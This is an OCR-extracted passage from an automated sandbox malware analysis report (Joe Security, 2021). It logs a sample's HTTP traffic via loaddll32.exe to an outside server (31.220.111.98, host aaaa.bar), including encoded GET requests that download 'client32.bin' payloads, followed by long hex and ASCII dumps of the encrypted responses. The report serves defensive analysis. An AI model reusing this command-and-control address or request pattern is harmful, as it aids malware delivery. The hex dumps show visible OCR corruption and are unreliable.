42 4f 4b 87 6e fc 54 5a d2 8f 20 8e fd 64 5e a3 fa e8 e8 a4 2e 96 44 4b 9f 5¢ e0 da 8c 65 de 38 cb 99 b5 c2 61 3c 10 58 fc
70 45 b9 22 4e b7 Oc b7 aa 95 18 05 da 73 ba 96 45 67 6f 1f 8f 3f a4 c0 f4 27 8f 3c 74 87 ac 75 a4 60 40 a2 47 b6 95 62
ae 8a 02 b6 4f 82 4b ae e2 3e aa 89 2a 8a 73 f3 50 96 97 34 7c 13 4f 6e 83 a3 fc 70 a0 d7 d6 2c ab 65 52 59 08 89 4f 9a
41 3a 75 93 17 32 49 b9 4b ad 60 1e 6f cO 08

Data Ascii: ;;ZH=)337erYMUQgB'Wp)J%y4J(v=/WS+kgq*6q&IrIBOKnTZ d*.DK\e8a<XpE"NsEgo?'<tu @GbOK>*sP4|Onp
,eRYOA:u2IK o

Data Raw: 35 08 b5 ae da 8f cc 59 9e dc 22 Oe a6 4c b2 72 98 0f 6d 65 74 d3 7d 24 22 13 99 fa c1 82 4f e0 0Of cd ac al Oc
eb 6a 9a fd 6f c4 6e 56 c0 81 06 61 a6 82 c8 ba a8 2b d8 91 e3 ac 40 bb 82 67 Ob 30 78 21 al 1a 83 c6 9e 61 35 1d 15 95
b2 cc 31 27 90 11 eb 10 f0 fa f6 33 1b b6 39 49 89 e2 64 a4 95 al ac bl bl 0a 42 b2 10 f8 d8 01 53 9c f7 3c ad 2d 4c 84
3b 72 ce 23 df 17 cf 5e 3e cc b4 61 04 ¢5 52 ab a7 b2 2b 23 54 1d 1a 01 d4 36 2d 3d ae b0 1e 7b 7a ff 48 9c 28 cc da a6
c0 95 ae 62 af d0 74 b3 cb c6 21 de c0 d7 df bd 9a 7a 14 43 58 00 36 9a 60 23 b8 7c af 09 42 b2 a5 fa d6 c1 6d 92 75 e0
22 a8 96 df b7 e3 7d 27 07 b8 30 01 e4 79 d4 29 b4 86 db 90 69 34 61 8d e2 8c af 36 2d 33 64 ee a8 62 a9 96 05 7b 22
d8 8a 22 1e af 8b d8 6e 6f 6a c3 €8 88 e5 d1 12 3c 6b 99

Data Ascii: 5Y"Lrmet}$"OjonVa+@g0x!a51'391dBS<-L;#">aR+#T6-={zH(bt!zCX6 #|Bmu"}0y)i4a6-3db{""noj<k

Data Raw: 98 db 44 22 04 5f f9 61 Ob e8 96 dd f6 9f 56 71 ee 85 12 88 33 59 04 2c 7a 79 38 27 5a c9 Oa 11 50 86 23 8¢
ead2 51 47 b0 2d 2c 9d 92 bf 5a af 82 7d 80 1b 2a 2c cc 4a 09 c6 68 7a 3e f1 5b c9 86 la e7 c7 75 36 f3 b8 3f e7 al 99
4041 1b dd ce ab 2f a1 86 f5 6d cb 2f 68 18 60 2d 77 7b 30 3e f7 16 cb 06 0d ed 04 7c 58 12 ba 32 5b 9c 9a 7f d7 f9 fO 4e
8c 00 db dd 67 2a 90 2f 32 dc 27 d5 61 ce ab bf d6 11 fb ef a4 b2 59 d5 28 f8 cc 9e 5b 36 91 89 3a c4 10 e4 8b 1a 17 al
ed Ob 5¢ 99 35 16 ad ed 6f 90 d8 d7 f3 60 b0 68 74 65 75 fd 9e b5 {7 8d 71 5a c7 ed 4f 3e 44 aa de 1f a0 35 1b 8b 00 6b
03 a7 d8 ac 64 af 04 98 af 4a aa 76 d0 90 99 69 1b 71 f1 60 33 4d c3 20 1a b6 a7 46 bb bd 33 07 92 09 47 ae a6 bb 51 19
18 c4 dd e6 5¢c 04 cf f3 b4 72 34 23 5f 4c 52 b6 30 bd

Data Ascii: D"_aVq3Y,zy8'ZP#QG-,Z}*,Jhz>[u6?@A/m/h*-w{0>|X2[Ng*/2'aY([6:\50"hteuqZO>D5kdJviq 3M F3GQ\r4#_LRO

Data Raw: 4c 40 a9 e9 d9 86 bc cO cd 43 e4 ¢7 90 ae 8c 19 ac ¢7 b3 87 5a 51 40 16 7e b8 b0 cc 21 e6 1b 61 46 ef b7 d1
8b 40 f4 fd e2 66 5 bf 3e 2¢c 3e a6 4d 92 b5 80 e2 ff 3a 8b 94 a8 8e 69 37 6¢ 09 2d 6b 7e d6 96 59 40 13 e3 03 18 c6 Of 46
81 3c 73 8e 15 1c 6f 9e d2 53 62 ae a3 d9 7e 7d c3 98 68 9b fd 89 49 70 57 Oe eb 52 29 d6 62 €9 f2 1d 7c d2 46 2f a4 96
33 6 b6 b3 94 d7 30 63 04 db fb 60 4d 2c 82 18 01 17 89 2f 44 Oe 4f 7f 5f b2 79 c7 {3 9 88 ad 5e 15 d3 3f 9 fd 72 fd 77 87
17 60 75 f8 85 83 6b bc 96 51 7a 33 23 e7 bf aa f3 5¢ 3e cd f2 10 54 d0 c5 8 aa 0d c9 05 d8 c3 6¢ ef 6a 00 de 77 81 77 d9
fa d9 93 71 85 14 dc f0 13 ff 87 f6 7f 1d 3c 3d 29 77 97 16 13 13 fae5 8b €9 c9 c1 ad 5¢ 0d a5 b7 be 11 a6 85 a8 5b 1b d8
ae e7 85 ff e8 46 47 ed al 40 b2 bc 1a 82

Data Ascii: L@CZQ@~!aF@f>,>M:i7I-k~Y @F<soSh~}hIpWR)b|F/30c’M,/DO_y ?rw ukQz3#\>Tljwwg<=)W\[FG@

Data Raw: fd ae 3e 7 4c 93 cf ¢5 Oc 59 24 59 c9 5d 94 03 66 9e b5 9a 5f 75 2c af 4e ed 4e 44 0d 00 13 2f fe Oe a8 2f ad
2302 4a 09 d2 90 ad Of 28 f1 74 3f 9e d9 e5 03 cc 5¢ 7d 96 be 8b 3a e7 81 2a d0 28 82 9e 72 47 49 ae 68 ab 7e 2b 8¢ 76
2f ff b3 c4 9b e4 b2 c1 06 5b al 00 c6 64 27 dO af 5b el 4c ed c1 71 6f 5b f5 7b 94 53 8¢ €5 92 1e b4 2f 7d 8d c5 5a e6 ac
0b 6e f5 0d 40 99 f2 a5 d4 40 d4 71 e9 23 2c 40 bb 6f eb 96 73 Oe f9 51 ¢8 63 9d 33 49 Oc 31 7e 88 5¢ 3e 3c 15 f7 97 48
3218 2b e6 fb 88 1a €0 38 e7 13 58 63 9d e7 80 c5 fO 3e ba 91 42 0d 7f cd e9 0d ca e3 el 81 57 f5 94 7b 71 2f 6d 7c b4 2a
7 6e 85 74 50 94 a5 43 c¢7 77 00 5e b4 6a c4 a9 37 d4 dc 5f b2 55 b9 d9 f4 el 81 94 56 02 73 a8 36 b4 9e 4c 53 32 2¢ 31
20 01 8d c0 58 2a fc df b0 40 cf c¢3 6e e0 e3 b2

Data Ascii: >LY$Y]f_u,NND/#JI(t?\}:*(rGlh~+v/[d'[Lqo[{SAZn@@q#, @0sQc311~\><H2+8Xc>BW{g/m|*ntPCw"j7_
UVs6LS2,1 X*@n

Data Raw: 97 63 78 a6 a0 8e 1a 65 cb 1le 91 2f 22 bb 8a 31 e7 d9 74 a0 06 ab 80 1f 40 e6 3d b2 62 83 57 4a d6 78 d9 76
89 d7 13 5¢ 17 02 bf c9 86 Ob d1 e4 e2 5d c8 32 0f 93 fO 2b c9 3a ef 87 36 a6 3c 40 f3 07 57 c4 30 ac d5 34 fa 5d d1 68 43
c4 2e bf 37 51 69 56 37 74 e2 dd d8 1c c8 ef 82 c0 af 65 b2 ce cf 9b cd 9b 52 al 8 80 fe e4 7d a5 36 12 88 cc 61 8a 33 bd
39 e6 58 9f 50 01 1c 4d 01 b4 eb 19 a5 a3 ec 06 45 14 c2 d5 47 4e f9 a8 14 fc a6 64 43 36 fb 29 34 85 de d6 b9 f8 bc 81
aa ee fb 1e e6 d0 7e Oc 8e 4e b9 31 Oc 12 af 9 e6 fd 22 d2 c6 50 16 a6 02 1d 7a f6 2b d3 46 07 4f e6 73 ed 53 38 c2 58
45 28 58 3a b1 f6 c3 18 df 96 8a 6f 7e ff 15 c1 12 a6 b6 ac 7f c1 Of ac 94 31 88 b8 1f 5f 74 d9 63 el 94 11 49 c3 dd 20 d2
c4 78 26 12 f1 60 73 6d 29 bf 09 38 72 79 07 13

Data Ascii: cxe/"1t@=bWJIxv\]2+:6<@W04]hC.7QiV7teR}6a39XPMEGNIC6)4~N1"Pz+FOsS8XE(X:0~1_tcl x& sm)8ry

Destination IP Destination Port Process

31.220.111.98 443 C:\Windows\System32\loadd|I32.exe

Data
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kBytes
Timestamp transferred Direction Data

2021-10-20 13:12:02 UTC 114 ouT GET /jdraw/5EykzOMH8AC5xhH2f/h8YTRIF2mRSj/K186vZ_2Fir/d_2FuekCCAOUjfizFWcX3el3Ac_2BX_2BJGA
IHUhc5yQiyPXedVM9/FyaB9AafT7f6pn1/rx17UyNOGmMK2igoXTh/2p_2Bsvx3/fo8welbgw6ZsfyAC6K72/DEX9YI
VMXwvcSkZsNZR/8w9U8utAyGo407eExfiyfilobLDkUZuz9hmdJ/XGInYyFxli4cy/JoKC.crw HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar
Connection: Keep-Alive
Cache-Control: no-cache

2021-10-20 13:12:03 UTC 130 IN HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 20 Oct 2021 13:12:02 GMT
Content-Type: application/zip
Content-Length: 178758
Connection: close
X-Powered-By: PHP/5.4.16
Set-Cookie: PHPSESSID=Isnqfh754hfkcfkt83tqpgmdf3; path=/; domain=.aaaa.bar
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Pragma: no-cache
Set-Cookie: lang=en; expires=Fri, 19-Nov-2021 13:12:03 GMT; path=/; domain=.aaaa.bar
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin

2021-10-20 13:12:03 UTC 131 IN Data Raw: 48 09 14 d8 bf b2 ec 04 c8 3f fb 4a d3 80 06 fO bd 59 db e6 a5 dc 23 c3 ¢4 68 50 2b c5 72 6b 51 b9 b6 5d f6 b0
8c e5 6¢ 92 cd 4f eb 84 b9 2a 59 c3 36 el e6 ff 74 17 e2 17 9f 76 48 e1 10 ¢3 10 20 de 74 a3 61 05 3d 18 af ac d1 94 a7
dc dc 5f f5 ba 05 9e 73 7e 12 fb ¢3 d6 e6 b3 38 19 98 c6 03 29 3f e2 e7 e 10 4f f5 6¢ 76 05 ad a2 46 50 82 ef cd d6 8c Oe
b7 d4 7a 83 Ob da 2d 3f 56 17 al 34 c0 54 e5 30 ea 5b 21 4d d8 8f 21 be 07 db Ob 89 d7 cf 77 3b 02 38 71 1c 1f 9b 78 8e
6f 9b b0 e6 1c 94 9b b3 54 21 79 3e 7e 33 82 21 be 10 b5 61 81 24 d9 8a 08 f5 e7 50 bd 70 de 91 53 e6 73 d6 c6 19 5e 05
39 caaa 07 24 5b aa 6¢ 8c 1d 89 d8 40 d1 82 e6 df 9e 85 6d c2 2a f3 5b 6b a5 60 05 cd cf 4f 2¢ bf c1 14 5d d9 66 4e 14
99 c2 6a 73 24 a6 b0 d9 6e 5b Oc a9 73 a8 5e db 86
Data Ascii: H2JY#hP+rkQ]IO*Y6tvH ta=_s~8)?0IvFPz-?VATO[!M!w;8qxoT!y>~31a$PpSs"9$[l@m*[k O,]fNjs$n[s"

2021-10-20 13:12:03 UTC 178 IN Data Raw: 2f cd 4e e2 6d 3d b3 6d 18 6d b2 a4 52 9a 26 35 ce 65 b9 6f 85 b3 63 50 5a d2 fO a8 20 62 9e a5 7a 86 87 fa
a6 29 11 07 45 0d 42 b6 a4 07 73 ff c1 af 02 c1 71 9¢ 22 bd ed c1 9d 20 12 68 45 94 Oe 31 66 ed c4 4f ee 1d 8d 97 64 a5
6b 76 95 72 e7 fc bb 76 38 22 9d 93 c7 ee a4 f6 76 97 81 b0 53 2e b9 4a d2 2e Oe d1 f0 42 c8 99 45 c3 4f 1b 82 3a 6¢ 44
b1 d0 4e 60 68 Of ca aa 59 27 0d 82 44 0f Oe d8 6c a5 f2 5a 2b 34 51 Oc 9e c0 fe 2b 71 00 27 20 Oe 37 af 8d a3 95 5f 9b 29
c9 d8 35 b8 2a 66 d5 20 3a 90 9c 22 7b b6 ab 88 6e 32 bd 60 33 05 b1 67 f0 a8 e4 ca 6d 9d Oe db 05 ea 8c cc aa 2a b6
7521 e3ac 76 51 cd be e0 2d d9 17 8b f7 c2 2d a6 66 €0 ad f0 fe d4 f9 06 9d 93 f2 9f e0 ab 3b 40 70 7 be 38 ab b5 b6 ee
6 ee 83 bf 4c 8e d3 35 32 fd €9 f1 8d 4d ac 91 22 ad
Data Ascii: /Nm=mmR&5eocPZ bz)EBsq" hE1fOdkvrv8"vS.J.BEO:IDN'hY'DIZ+4Q+q" 7_)5*f :"{n2'3gm*ulvQ--f;@p8L52M"

2021-10-20 13:12:03 UTC 194 IN Data Raw: 6¢ a4 51 4a fc 7b bd 7f d9 f1 6b fc ec fb 6e 90 d2 79 58 19 81 5e 45 bc fc 54 04 a7 aa 6e 06 bf 25 c5 ef 09 12
4a f3 bb 53 2d be 21 39 1a 89 89 0f 91 39 7c 77 36 df 8c 02 73 e8 43 9a fb 3e f4 0a ab 75 20 cc ad 03 ca 76 2b 3e 1c 6d
95 d3 58 e2 96 a2 0d 81 ce 3e b5 30 97 fa 16 ce dc da ed f8 bb 1c b3 d7 33 42 62 26 04 50 c9 ae a2 8a d7 Oc bd 59 fa 3d
b7 94 9e e8 25 4b 9b 40 be 76 8 3a ad 03 7f 12 a2 78 80 35 36 16 85 39 d8 c9 fO 3¢ 10 35 d3 2b 07 8d 44 02 38 bc e6 85
7ce78bb7258b 79 c8 7aee ee 1b cc 72 06 c8 2a €0 17 al c7 ¢5 41 68 75 09 bl c5 32 Ob 5e 03 01 f6 3b cc 77 07 e5 6f
4d 51 1b 95 cb 1d 16 30 1a 06 c1 a5 cd 08 al b6 f6 26 4e ba f8 a2 49 2c 1c 43 76 d1 a5 c5 47 99 6e 05 bd a7 1e c6 e6 03
94 f4 ad be 58 f1 71 89 43 63 13 8a le 32 e4 a8 18 93
Data Ascii: IQJ{knyX"ETn%JS-!199|w6sC>u v+>mX>03Bb&PY=%K@V:x569<5+D8|%yzr*Ahu2”";woMQO&NI,CvGnXqCc2

2021-10-20 13:12:04 UTC 226 IN Data Raw: 7e ea d5 61 40 ab fb af 71 2d 8f d2 47 3c 64 96 3c ba 94 64 3e 8e 22 cd e5 f0 9c a7 b2 f9 30 8d 3c 67 €0 7e a7
75 Oe ec e4 96 cb 75 96 d2 1c bf 2a 64 ad 95 7b 4c 2c 24 26 4f 38 4d d1 2a 9f 01 f5 5 6¢ 0d ac 63 08 34 e7 34 e2 99 b4
57 a9 1f 75 a7 ee aa 0a 3b 50 1e Ob ac 4a ce ee 01 ¢3 32 96 1b bd 04 f7 0a c8 3b 88 1e e6 d3 b0 de 5¢ b7 76 9f 20 66 82
1355 7a 3e 5¢c cb 79 14 ab 5¢ fa 96 18 e5 67 d2 19 90 78 9f ee 30 8c f1 3f 2e d6 ec ba 9a 6b 8 da 05 d4 37 52 8b a3 Oa
1a 19 05 0a e7 5a 88 00 8b 2a 36 08 41 f9 1b €9 97 d2 26 Oc 97 de f7 ed c6 73 ab d5 8a 06 ef 27 be Oa 4e c3 0a e9 be 5a
6f ac a9 19 20 98 07 51 2b 13 07 36 be 09 b9 b7 41 1a 66 56 b6 b1 3a ac 8f ch 62 3b fa 4f 63 78 a8 29 6¢ 69 cf 83 6b al
al d5 9f 98 f7 51 83 7c ¢3 25 cb 56 a3 1a ed 3c 71 bf
Data Ascii: ~a@g-G<d<d>"0<g~uu*d{L,$&08M*Ic44Wu;PJ2;\v fUz>\y\gx0?.k7RZ*6A&s'NZ0o Q+6AfV:b;Ocx)IikQ|%V<q

2021-10-20 13:12:04 UTC 258 IN Data Raw: 07 bf c6 €9 1a 58 a9 33 df a8 90 c1 fd 9b 14 b6 42 49 Oc 43 9b al 5d 41 d4 93 8f 95 f2 5d 15 06 7a 88 d4 71 60
O d1 0d de 58 30 ad 70 50 bb dc 51 5c ef 92 cd 96 19 42 49 c5 a7 f8 64 5d 57 9e 9d b9 e0 35 96 3c 1f 93 d4 1d 79 3b be
€9 b0 31 98 fd bc 80 3f d1 14 89 b0 b4 78 16 cb 9a d1 b4 2b 9a 06 d1 06 1a 64 a3 10 4c ce 3a 8a 60 7c 73 b2 8b 7e 79 af
a2 dc d1 6f 54 60 79 9f f4 96 38 4f 3b 0d 9e 31 ea c1 4b la c1 40 09 64 af 88 bc 54 18 ff 22 1f c7 04 06 86 79 fb 40 18 e4
la 1f 36 a5 9e 94 ba 5f b7 60 6a 56 6a 8d 1c a6 41 53 d8 ca c6 a4 5a aa 51 ab a7 27 00 4d e4 3b e8 81 18 ba ea 8e 7c 6e
65 4d al a0 1c 3f bf 81 27 ¢8 85 c0 08 e9 ee 06 c9 47 cd a4 58 3c 71 b2 83 94 31 1c 7f a7 b3 c7 68 34 ff 5e 29 23 a3 8¢ al
2190 5b 3d 77 c6 bb 48 39 f2 a4 c2 e2 4f 7c 9d
Data Ascii: X3BIC]A]zq XOpPQ\BId]W5<y;1?x+dL:"|s~yoT y80;1K@dT"y@6_'jVJASZQ'M;|neM?'GX<q1h4")#[=wH9O|

2021-10-20 13:12:04 UTC 306 IN Data Raw: 16 04 3b 3b 83 5a 48 f4 b6 a6 d4 fb 3d 29 fe c2 33 de 5 b2 33 c2 37 d4 e5 94 65 72 83 c2 84 59 €9 4d 55 cf cO
719542 b2 09 27 57 70 1b 29 4a 9b 25 79 fa 14 8 34 4a 28 af fd c0 0a 76 3d 2f dc cb 57 96 d3 ed df 8¢ 84 €8 1d c5 80 de
f0 53 e0 08 96 90 2b fb b3 89 01 8c fe ba 6b 9a 67 71 00 b5 fc 2a 36 f6 da c3 1f 71 26 a8 a4 a7 99 49 ad 9f 98 07 72 49 d2
42 4f 4b 87 6e fc 54 5a d2 8f 20 8e fd 64 5e a3 fa e8 €8 a4 2e 96 44 4b 9f 5¢ e0 da 8c 65 de 38 cb 99 b5 c2 61 3c 10 58 fc
70 45 b9 22 4e b7 Oc b7 aa 95 18 05 da 73 ba 96 45 67 6f 1f 8f 3f a4 c0 f4 27 8f 3c 74 87 ac 75 a4 60 40 a2 47 b6 95 62
ae 8a 02 b6 4f 82 4b ae e2 3e aa 89 2a 8a 73 f3 50 96 97 34 7c 13 4f 6e 83 a3 fc 70 a0 d7 d6 2c ab 65 52 59 08 89 4f 9a
41 3a 75 93 17 32 49 b9 4b ad 60 1e 6f cO 08
Data Ascii: ;;ZH=)337erYMUQgB'Wp)J%y4J(v=/WS+kgq*6q&IrIBOKnTZ d*.DK\e8a<XpE"NsEgo?'<tu’ @GbOK>*sP4|Onp
,eRYOA:u2IK o

2021-10-20 13:12:04 UTC 322 IN Data Raw: 35 08 b5 ae da 8f cc 59 9e dc 22 Oe a6 4c b2 72 98 0f 6d 65 74 d3 7d 24 22 13 99 fa c1 82 4f e0 Of cd ac al Oc
eb 6a 9a fd 6f c4 6e 56 c0 81 06 61 a6 82 c8 ba a8 2b d8 91 e3 ac 40 bb 82 67 Ob 30 78 21 al 1a 83 c6 9e 61 35 1d 15 95
b2 cc 31 27 90 11 eb 10 O fa f6 33 1b b6 39 49 89 e2 64 a4 95 al ac bl bl 0a 42 b2 10 f8 d8 01 53 9c {7 3c ad 2d 4c 84
3b 72 ce 23 df 17 cf 5e 3e cc b4 61 04 ¢5 52 ab a7 b2 2b 23 54 1d 1a 01 d4 36 2d 3d ae b0 1e 7b 7a ff 48 9c 28 cc da a6
c0 95 ae 62 af d0 74 b3 cb c6 21 de c0 d7 df bd 9a 7a 14 43 58 00 36 9a 60 23 b8 7c af 09 42 b2 a5 fa d6 c1 6d 92 75 e0
22 a8 96 df b7 e3 7d 27 07 b8 30 01 e4 79 d4 29 b4 86 db 90 69 34 61 8d e2 8c af 36 2d 33 64 ee a8 62 a9 96 05 7b 22
d8 8a 22 1e af 8b d8 6e 6f 6a c3 €8 88 e5 d1 12 3c 6b 99
Data Ascii: 5Y"Lrmet}$"OjonVa+@g0x!a51'391dBS<-L;#">aR+#T6-={zH(bt!zCX6 #|Bmu"}0y)i4a6-3db{"'noj<k
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kBytes
Timestamp transferred

2021-10-20 13:12:05 UTC 370

2021-10-20 13:12:05 UTC 386

2021-10-20 13:12:05 UTC 433

2021-10-20 13:12:05 UTC 449

Session ID Source IP

12 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:12:05 UTC 464

2021-10-20 13:12:06 UTC 465

2021-10-20 13:12:06 UTC 466

2021-10-20 13:12:06 UTC 481

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49960

Direction

ouT

Data

Data Raw: 98 db 44 22 04 5f f9 61 Ob e8 96 dd f6 9f 56 71 ee 85 12 88 33 59 04 2c 7a 79 38 27 5a c9 0a 11 50 86 23 8¢
ea d2 51 47 b0 2d 2c 9d 92 bf 5a af 82 7d 80 1b 2a 2c cc 4a 09 c6 68 7a 3e f1 5b c9 86 1la e7 c7 75 36 f3 b8 3f e7 al 99
4041 1b dd ce ab 2f al 86 f5 6d cb 2f 68 18 60 2d 77 7b 30 3e f7 16 cb 06 0d ed 04 7c 58 12 ba 32 5b 9c 9a 7f d7 f9 fO 4e
8c 00 db dd 67 2a 90 2f 32 dc 27 d5 61 ce ab bf d6 11 fb ef a4 b2 59 d5 28 f8 cc 9e 5b 36 91 89 3a c4 10 e4 8b 1a 17 al
ed Ob 5¢ 99 35 16 ad ed 6f 90 d8 d7 f3 60 b0 68 74 65 75 fd 9e b5 f7 8d 71 5a c7 ed 4f 3e 44 aa de 1f a0 35 1b 8b 00 6b
03 a7 d8 ac 64 af 04 98 af 4a aa 76 d0 90 99 69 1b 71 f1 60 33 4d c3 20 1a b6 a7 46 bb bd 33 07 92 09 47 ae a6 bb 51 19
18 c4 dd e6 5c 04 cf f3 b4 72 34 23 5f 4¢ 52 b6 30 bd

Data Ascii: D"_aVq3Y,zy8'ZP#QG-,Z}*,Jhz>[u6?@A/m/h"-w{0>|X2[Ng*/2'aY ([6:\50 hteuqZO>D5kdJvig 3M F3GQ\r4#_ LRO

Data Raw: 4c 40 a9 e9 d9 86 bc c0 cd 43 e4 c¢7 90 ae 8c 19 ac c7 b3 87 5a 51 40 16 7e b8 b0 cc 21 e6 1b 61 46 ef b7 d1
8b 40 f4 fd e2 66 5 bf 3e 2c 3e a6 4d 92 b5 80 e2 ff 3a 8b 94 a8 8e 69 37 6¢ 09 2d 6b 7e d6 96 59 40 13 e3 03 18 c6 0f 46
81 3c 73 8e 15 1c 6f 9e d2 53 62 ae a3 d9 7e 7d c3 98 68 9b fd 89 49 70 57 Oe eb 52 29 d6 62 €9 f2 1d 7c d2 46 2f a4 96
336 b6 b3 94 d7 30 63 04 db fb 60 4d 2c 82 18 01 17 89 2f 44 Oe 4f 7f 5f b2 79 c7 f3 f9 88 ad 5e 15 d3 3f c9 fd 72 fd 77 87
17 60 75 f8 85 83 6b bc 96 51 7a 33 23 e7 bf aa f3 5¢ 3e cd f2 10 54 dO c5 8 aa 0d c9 05 d8 c3 6¢ ef 6a 00 de 77 81 77 d9
fa d9 93 71 85 14 dc f0 13 ff 87 f6 7f 1d 3c 3d 29 77 97 16 13 13 fa e5 8b €9 c9 c1 ad 5¢ 0d a5 b7 be 11 a6 85 a8 5b 1b d8
ae e7 85 ff e8 46 47 ed al 40 b2 bc 1a 82

Data Ascii: L@CZQ@~!aF@f>,>M:i7l-k~Y @F<soSb~}hIpWR)b|F/30c'M,/DO_y"?rw ukQz3#\>Tljwwa<=)W\[FG@

Data Raw: fd ae 3e f7 4c 93 cf ¢5 Oc 59 24 59 c9 5d 94 03 66 9e b5 9a 5f 75 2c af 4e ed 4e 44 0d 00 13 2f fe Oe a8 2f ad
2302 4a 09 d2 90 ad 0f 28 f1 74 3f 9e d9 e5 03 cc 5¢ 7d 96 be 8b 3a €7 81 2a d0 28 82 9e 72 47 49 ae 68 ab 7e 2b 8c 76
2f ff b3 c4 9b e4 b2 c1 06 5b al 00 c6 64 27 dO af 5b el 4c ed c1 71 6f 5b f5 7b 94 53 8c e5 92 1e b4 2f 7d 8d c5 5a e6 ac
Ob 6e f5 0d 40 99 f2 a5 d4 40 d4 71 e9 23 2¢ 40 bb 6f eb 96 73 Oe f9 51 ¢8 63 9d 33 49 Oc 31 7e 88 5¢c 3e 3c 15 f7 97 48
3282be6 fb 88 1a el 38e7 13 58 63 9d e7 80 c5 fO 3e ba 91 42 0d 7f cd €9 0d ca e3 e1 81 57 f5 94 7b 71 2f 6d 7c b4 2a
7 6e 85 74 50 94 a5 43 ¢7 77 00 5e b4 6a c4 a9 37 d4 dc 5f b2 55 b9 d9 f4 e1 81 94 56 02 73 a8 36 b4 9e 4c¢ 53 32 2¢ 31
20 01 8d c0 58 2a fc df b0 40 cf c3 6e e0 e3 b2

Data Ascii: >LY$Y]f_u,NND//#J(t?\}:*(rGlh~+v/[d[Lqo[{S/}Zn@@q#, @0sQc3I1~\><H2+8Xc>BW{g/m|*ntPCw"j7_
UVs6LS2,1 X*@n

Data Raw: 97 63 78 a6 a0 8e 1a 65 cb le 91 2f 22 bb 8a 31 e7 d9 74 a0 06 ab 80 1f 40 e6 3d b2 62 83 57 4a d6 78 d9 76
89 d7 13 5¢ 17 02 bf ¢9 86 Ob d1 e4 e2 5d c8 32 0f 93 f0 2b c9 3a ef 87 36 a6 3c 40 f3 07 57 c4 30 ac d5 34 fa 5d d1 68 43
c4 2e bf 37 51 69 56 37 74 e2 dd d8 1c c8 ef 82 c0 af 65 b2 ce cf 9b cd 9b 52 al 8 80 fe e4 7d a5 36 12 88 cc 61 8a 33 bd
39 e6 58 9f 50 01 1c 4d 01 b4 eb 19 a5 a3 ec 06 45 14 c2 d5 47 4e f9 a8 14 fc a6 64 43 36 fb 29 34 85 de d6 b9 f8 bc 81
aa ee fb 1e e6 dO 7e Oc 8e 4e b9 31 Oc 12 af e9 e6 fd 22 d2 c6 50 16 a6 02 1d 7a f6 2b d3 46 07 4f e6 73 ed 53 38 c2 58
45 28 58 3a b1 f6 c3 18 df 96 8a 6f 7e ff 15 c1 12 a6 b6 ac 7f c1 Of ac 94 31 88 b8 1f 5f 74 d9 63 el 94 11 49 c3 dd 20 d2
c4 78 26 12 f1 60 73 6d 29 bf 09 38 72 79 07 13

Data Ascii: cxe/"1t@=bWJxv\]2+:6<@WO04]hC.7QiV7teR}6a39XPMEGNIC6)4~N1"Pz+FOsS8XE(X:0~1_tcl x& sm)8ry

Destination IP Destination Port Process

31.220.111.98 443 C:\Windows\System32\loaddll32.exe

Data

GET /jdraw/34E0B5g64GhF/3XPDxs0lbMy/bgW9ARMNbtOtkT/D8MYNhHmMIu3gZwQWjO72P/RY9TfewXOKIHe 2B/
ce40RI02hRz9Esp/_2BVvplh9LurZz83S_2/B002_2FdR/gIrNQT1ImMUIZ_2BS_2BT/MDTnU5RczKhEBMBWqGJ/EyrD
pl_2FugKMBIze3vzAt/t9EP4e8z_2FDf/kKFLZbmvwAVEbK/QjYP.crw HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: PHPSESSID=al703vnk3gvkbspp3p283jhcg4; lang=en

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 20 Oct 2021 13:12:05 GMT
Content-Type: application/zip
Content-Length: 227913

Connection: close

X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public

Pragma: no-cache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin

Data Raw: 7a d8 e7 €8 5a b1 41 33 b2 bc 98 al 2d 68 13 0f 97 e9 11 38 74 e6 87 20 80 55 24 d2 32 ca b0 b5 fb ef 70 18
d4 d5 42 17 72 8e d5 2f 06 81 8a 8a 11 9a ce 93 c7 7d 46 ec 89 6f b9 08 6e 3 €9 5b bb 4a 79 2d ee 4e f7 bd 61 1f 44 cd
0a f7 36 20 5a 91 04 8e c1 33 8f f7 b1 d2 4e a6 Oc 00 cd 68 f5 3a 14 99 e6 2b 34 95 d5 f2 e2 94 d4 Oc 25 ae 18 03 78 09
8e f0 c5 6d 1b ab 49 c1 ad 79 81 48 e4 18 22 57 b8 52 0d 2c 28 17 6f a0 8b 55 5f 4b b3 ff 20 9e 5b 8 e2 dd 1a 3f da c4 ce
aa 67 12 2e 97 13 2a f0 f8 bl ff f1 €6 74 f3 a8 1c c9 9e ed 04 cf 21 b7 dc 2¢ 23 07 33 02 1b 7 d2 cc 06 e3 d7 20 04 e5 45
b7 db 43 76 2e c6 52 d0 4e d3 fe f7 73 59 44 33 b9 94 7e 52 1a 0f 88 95 66 09 Ob 79 84 05 4d 1f b8 a4 eb 7b 33 8a 20 c9
4a la 36 2a 02 4b 45 ec 8¢ 07 04 {7 14 d0 74 ce ec

Data Ascii: zZA3-h8t U$2pBr/}Fon[Jy-NaD6 Z3Nh:+4%xmlyH"WR,(oU_K [?g.*t!,#3 ECv.RNsYD3~RfyM{3 J6*KEt

Data Raw: 2e 4a 31 ca f3 2b be 89 95 34 73 d7 cb Oc 35 50 c4 f1 24 68 8b 88 fc e3 a7 a4 41 86 f8 78 72 ba 2c 90 c1 e3 b3
fd cc d2 05 5¢ b3 e9 df 42 3a 66 1d 3d 9c 30 db dc 67 7b ab 0a 63 9e 99 3a e3 34 02 9b e3 c3 2a 8e 7b 0a Oe d6 b3 13 54
08 d7 62 5¢c c8 8a f5 3f 45 1a 48 f9 ef 9c 14 54 a6 b4 3d 2e 56 59 e6 16 5b 29 3¢ 7b 64 d9 3f 07 fa 80 Oa 6a b7 ba 82 65 f6
